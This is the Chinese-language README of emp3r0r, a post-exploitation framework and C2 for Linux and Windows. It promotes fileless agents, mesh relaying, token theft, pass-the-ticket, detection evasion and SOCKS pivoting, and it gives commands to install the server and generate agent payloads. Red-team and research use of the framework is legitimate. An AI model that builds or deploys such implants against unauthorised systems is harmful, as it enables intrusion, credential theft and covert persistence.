
emp3r0r v4.15.0
自愈型 Gossip Mesh C2,具备辅助对等点发现、跨平台 BOF 执行与可脚本化代理。
emp3r0r
一个面向 Linux 和 Windows 的自愈、纯内存 C2 —— 代理能够挺过断链、从不落盘,并通过脚本调用 Win32 API。
什么是 emp3r0r?
emp3r0r 是一个为 Linux 和 Windows 环境打造的后渗透框架与 C2,在这些环境中,隐蔽性和韧性并非可选项。代理不会假设与单一服务器之间始终存在可靠连接,而是组成一个自愈网状网络,在链路中断时仍能继续工作。代理不会向目标索取 Python 或 PowerShell,而是一切都在内存中执行。并且,emp3r0r 不会把你限制在单一平台的技巧上,而是同时运行 Windows BOF、Linux 对象和 Starlark 脚本 —— 全部无文件、全部进程内。
核心亮点与独特功能
🐍 可脚本化代理(内嵌 Starlark 引擎与 Win32 API 代理)
每个代理都自带脚本引擎,因此你可以直接放入新的后渗透逻辑,而无需编译或投递二进制文件。
- 脚本完全在内存中运行 —— 目标上无需 Python、Bash 或 PowerShell,也不会生成命令解释器。
- 一整套内置 API 覆盖文件 I/O、HTTP、命令执行等,可直接从脚本代码中调用。
- 在 Windows 上,脚本可以直接调用原生 Win32 函数 —— 代理会直接代理到系统 DLL。
- 模块就是普通的 Starlark 文件加上一个小型 JSON 清单,因此添加自己的模块既简单又无文件。
为什么重要: 编写和扩展代理功能变得像编辑脚本一样简单,同时完全没有在目标上投放解释器或新二进制文件所带来的痕迹。
🔐 TOFU 加密身份绑定
代理在第一次与你通信时,会将自己的身份绑定到一个加密密钥上 —— 而且这种绑定永不改变。
- 使用不同凭据重新注册会被视为冒充者并遭到拒绝。
- 移除代理是操作员的明确决定,而不是被盗密钥能够悄悄完成的事情。
为什么重要: 会话劫持和代理克隆根本不会发生;你与之通信的每个代理,都是你当初注册的那一个。
🔒 完美前向保密(PFS)
每条 C2 链路和点对点链路都使用临时 ECDH 密钥,并采用会话派生加密密钥。
为什么重要: 即使长期密钥日后被泄露,也无法用来解密已经传输过的流量。
🕸️ 自主 P2P Gossip 网状网络
代理之间会相互发现,并通过 gossip 网状网络中继流量,因此当某条链路或某台服务器消失时,行动不会崩溃。
- 对等节点通过伪装 mTLS 1.3 或可靠 UDP(KCP)连接,每一跳都经过加密。
- 流量会自动绕过失效的中继 —— 行动中途无需手动调整代理。
- 即使某些网段无法直接访问 C2,也仍可通过其邻居保持可达。
为什么重要: 网络会替你完成跳板。切断一条链路、丢失一台机器或封锁 C2 —— 代理会自行重新路由。
📂 P2P 文件系统
文件在代理之间直接传输,而不仅仅是通过 C2。
- 传输走加密的点对点隧道,因此内部网络不会在你的服务器上形成瓶颈。
- 文件以加密 blob 的形式缓存在代理内存中,并按需提供给对等节点。
- 如果没有任何对等节点拥有该文件,代理会自动从 C2 获取。
为什么重要: 投递速度快,而且对 C2 通道几乎不可见 —— 非常适合出站受限的环境。
📡 多协议监听器与可插拔 Stager
让代理进入目标,与让它保持存活同样被认真对待。
- 支持 HTTP、TCP 和 UDP 监听器,具备可靠分帧和可定制的 HTTP 配置文件。
- 一个约 2KB 的 stager,基于直接 Linux 系统调用构建 —— 目标上无需 libc,也无需工具链。
- 可插拔的 stager 传输和自解包打包器,让你能够将初始访问融入目标允许的任何通道,同时击败静态特征匹配。
- Stage 和代理代码遵循读/写/执行纪律 —— 绝不使用 RWX。
为什么重要: 小巧、可适应且内存卫生的初始访问,意味着你可以落脚在原本无法触及的主机上。
🧩 原生跨平台 BOF 与 PICO 支持(COFF、ELF 与 PICO)
在任一平台上以进程内方式运行编译好的 C 模块:
- Windows COFF/BOF 二进制文件,支持类型化参数打包。
- Linux ELF 可重定位对象,直接加载到代理内存中。
- Crystal-Kit PICO 模块,支持 SilentMoonwalk 调用栈伪造。
- Kerbeus-BOF、Remote-OPs 以及一套态势感知套件开箱即用。
为什么重要: BOF 的好坏取决于其加载器 —— emp3r0r 在 Linux 和 Windows 上都能以进程内方式运行它们,不产生新进程,也不留下痕迹。
🔑 Windows 令牌、Netonly 会话与 Kerberos 票据(PTT)
一旦你进入 Windows 主机,emp3r0r 让你能够成为主机上的用户 —— 而无需投放任何工具。
- 从任意运行中的进程窃取访问令牌,并在各处使用它:Go 模块、Starlark、BOF。
- 使用模块的
--user标志创建一次性 netonly 会话:它们保留你代理自身的身份,仅在出站访问时借用目标用户的身份 —— 任何密码都可以,永远不会被验证。 - 使用
--ticket标志导入 Kerberos 票据,实现完整的票据传递:你的网络身份变为票据的身份(例如域管理员),而你的本地身份始终不变。 - 每个支持令牌的模块都接受
--token、--user和--ticket,因此切换身份只需一个标志 —— 包括在单条命令中创建会话并加载票据。 - 票据按登录会话存在,因此 DA 材料会被隔离在一个可清除的一次性会话中,代理进程本身保持干净。
为什么重要: 向完全没有代理运行的机器进行横向移动 —— SMB 共享、服务控制、CIFS —— 成为你工作流中的常规操作,以你借用的用户身份进行认证,而不是以磁盘上的工具身份。
🧦 SOCKS5 跳板与操作员侧 tun2socks
无需再消耗一个植入体即可跳板:C2 运行一个 SOCKS5 代理,通过你选择的代理进行中继,而操作员侧还可以更进一步,使用透明 TUN 设备。
socks_start 1080在 C2 上提供一个 SOCKS5 端点,通过所选代理进行隧道传输 —— 将 proxychains 或任何工具指向它,你就进入了目标网络。tun2socks start --route 10.10.0.0/24创建一个 TUN 设备,仅将你指定的子网通过该代理路由 —— 其他所有流量继续使用你的正常连接。- 结果看起来像是源自该代理,且无需为每个工具配置代理。
为什么重要: 透明地触及整个代理侧网络 —— curl 一台 DC、使用任何工具 —— 出站流量看起来来自目标网络,而不是你的操作员机器。
🎭 可插拔 C2 传输、uTLS JA3 规避与 CBOR 协议
- 可选择 beacon 式 HTTP 轮询或流式 HTTP/2 —— 两者都支持可塑配置文件。
- TLS 指纹通过 uTLS 随机化,因此该通道不会在网络遥测中显得突出。
- 控制流量采用紧凑的 CBOR 协议 —— 比 JSON 更小、更快,也更难解析。
为什么重要: C2 通道被设计得看起来像普通流量,并在网络上保持精简。
💾 加密的内存优先存储
- 代理文件操作针对一个内存中的、AES-GCM 加密的虚拟文件系统运行;大数据仅以加密 blob 形式溢出到磁盘,且没有可识别的文件头。
- 支持 P2P 的代理会缓存其获取的内容并与对等节点共享,进一步减少 C2 流量。
为什么重要: 即使磁盘也被视为敌对环境 —— 代理不会留下任何明文制品供人发现。
快速开始
1. C2 服务器安装
构建 emp3r0r 需要主机上安装 Docker 或 Podman —— 无需本地 Go 工具链。
git clone --depth=1 https://github.com/jm33-m0/emp3r0r.git && cd emp3r0r
./install.py
安装程序会在一个一次性容器中构建所有内容,并准备好操作员套件。有用的标志:--lightweight(仅 Linux/Windows amd64,最快)、--targets OS/ARCH,...、--debug、--skip-build。
启动服务器:
emp3r0r server --c2-hosts 1.2.3.4 --http-port 12345 --operator-port 13377
2. 操作员机器设置
tar --zstd -xpf emp3r0r-operator-kit.tar.zst
cd ./emp3r0r-operator-kit && ./install.py
使用服务器打印的 WireGuard 凭据进行连接:
emp3r0r client --c2-port 13377 \
--server-wg-key '<SERVER_WG_KEY>' --server-wg-ip '<SERVER_WG_IP>' \
--operator-wg-ip '<OPERATOR_WG_IP>' --operator-wg-key '<OPERATOR_WG_KEY>' \
--c2-host 1.2.3.4
3. 生成代理载荷
在操作员控制台内:
# Direct C2 agent
generate --type linux_executable --arch amd64 --cc your.domain.com
# Mesh gateway agent (also reachable from the C2 directly)
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --direct-c2 --p2p-transport mtls
# Mesh intermediate peer (relays for other agents)
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --p2p-transport mtls --peers 1.2.3.4
# Windows mesh peer over SMB named pipes (local \\.\pipe, cross-host \\host\pipe),
# AES-GCM framed like the other transports
# (requires the Windows SMB stack / logon session to reach the peer)
generate --type windows_executable --arch amd64 --cc your.domain.com \
--p2p --p2p-transport smb
网状节点可以运行不同的传输方式。每个代理都会通告其中继所监听的传输方式和端口,而拨号方始终使用对等节点所通告的传输方式,因此混合网状网络(例如 Windows SMB 节点与 Linux mTLS 节点并存)会通过共享可用传输方式的对等节点进行路由,而不是假设所有人都运行本地默认值。smb 仅对 Windows 载荷接受;kcp/mtls 在所有平台上都可用。
文档与资源
- 📝 安全政策: SECURITY.md
- 📜 变更日志: CHANGELOG.md
- 🛠️ 模块开发指南: core/modules/module_development_guide.md
支持开发
如果 emp3r0r 在你的安全研究和测试中证明了其价值,请考虑通过 GitHub Sponsors 支持其持续开发。